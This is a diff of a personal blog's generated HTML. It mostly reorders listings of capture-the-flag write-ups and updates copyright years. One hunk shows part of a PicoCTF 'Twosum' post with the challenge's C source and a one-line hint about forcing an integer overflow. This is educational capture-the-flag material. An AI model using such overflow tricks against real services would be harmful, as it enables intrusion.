0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a class=post-link aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/></a></article><article><a aria-label=Volcano href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><h2>Volcano</h2></a><time>Jul 21, 2023 | 13 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
@@ -40,11 +43,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a>
|
||||
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
|
||||
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><nav data-main><a href=../../../post/page/3/>Previous Page</a>
|
||||
<a href=../../../post/page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><nav data-main><a href=../../../post/page/3/>Previous Page</a>
|
||||
<a href=../../../post/page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
|
||||
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
|
||||
@@ -35,10 +41,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a>
|
||||
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><nav data-main><a href=../../../post/page/4/>Previous Page</a>
|
||||
<a href=../../../post/page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><nav data-main><a href=../../../post/page/4/>Previous Page</a>
|
||||
<a href=../../../post/page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,9 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
|
||||
<a class=post-link aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/></a></article><article><a aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><h2>Notepad</h2></a><time>Feb 21, 2022 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
@@ -10,4 +15,4 @@
|
||||
<a class=post-link aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/></a></article><article><a aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><h2>Gadgeting in Python Jails</h2></a><time>Dec 9, 2021 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
|
||||
<a class=post-link aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/></a></article><nav data-main><a href=../../../post/page/5/>Previous Page</a>
|
||||
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -56,7 +56,7 @@ Since this is C and there is no integer overflow check, we can simply supply the
|
||||
the second. Adding them would cause the result to wrap around and become negative.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Apr 10, 2023 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Twosum</h1></hgroup><section class=post-content data-pagefind-body><p>This is a rather simple binary exploitation challenge. We are given the following source
|
||||
code for the program running on the remote server:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-c data-lang=c><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e><stdio.h></span><span style=color:#75715e>
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e><stdlib.h></span><span style=color:#75715e>
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>
|
||||
</span></span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>static</span> <span style=color:#66d9ef>int</span> <span style=color:#a6e22e>addIntOvf</span>(<span style=color:#66d9ef>int</span> result, <span style=color:#66d9ef>int</span> a, <span style=color:#66d9ef>int</span> b) {
|
||||
</span></span><span style=display:flex><span> result <span style=color:#f92672>=</span> a <span style=color:#f92672>+</span> b;
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span>(a <span style=color:#f92672>></span> <span style=color:#ae81ff>0</span> <span style=color:#f92672>&&</span> b <span style=color:#f92672>></span> <span style=color:#ae81ff>0</span> <span style=color:#f92672>&&</span> result <span style=color:#f92672><</span> <span style=color:#ae81ff>0</span>)
|
||||
@@ -112,4 +112,4 @@ the second. Adding them would cause the result to wrap around and become negativ
|
||||
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/binary-exploitation class=list-tag>Binary Exploitation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span>←</span><span>I Switched to NixOS</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span>Java Code Analysis!?!</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span>Java Code Analysis!?!</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -27,7 +27,7 @@ in variables <code>a</code> and <code>b</code>.</p><div class=highlight><pre tab
|
||||
</span></span></code></pre></div><p>Next, we’ll create an image buffer for reconstructing the composite image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imgbuf: <span style=color:#a6e22e>RgbaImage</span> <span style=color:#f92672>=</span> ImageBuffer::new(a.width(), a.height());
|
||||
</span></span></code></pre></div><p>Looping over the pixels in the shares,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> ((x, y, p), (_, _, q)) <span style=color:#66d9ef>in</span> a.pixels().zip(b.pixels()) {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// next 2 code blocks go here ...
|
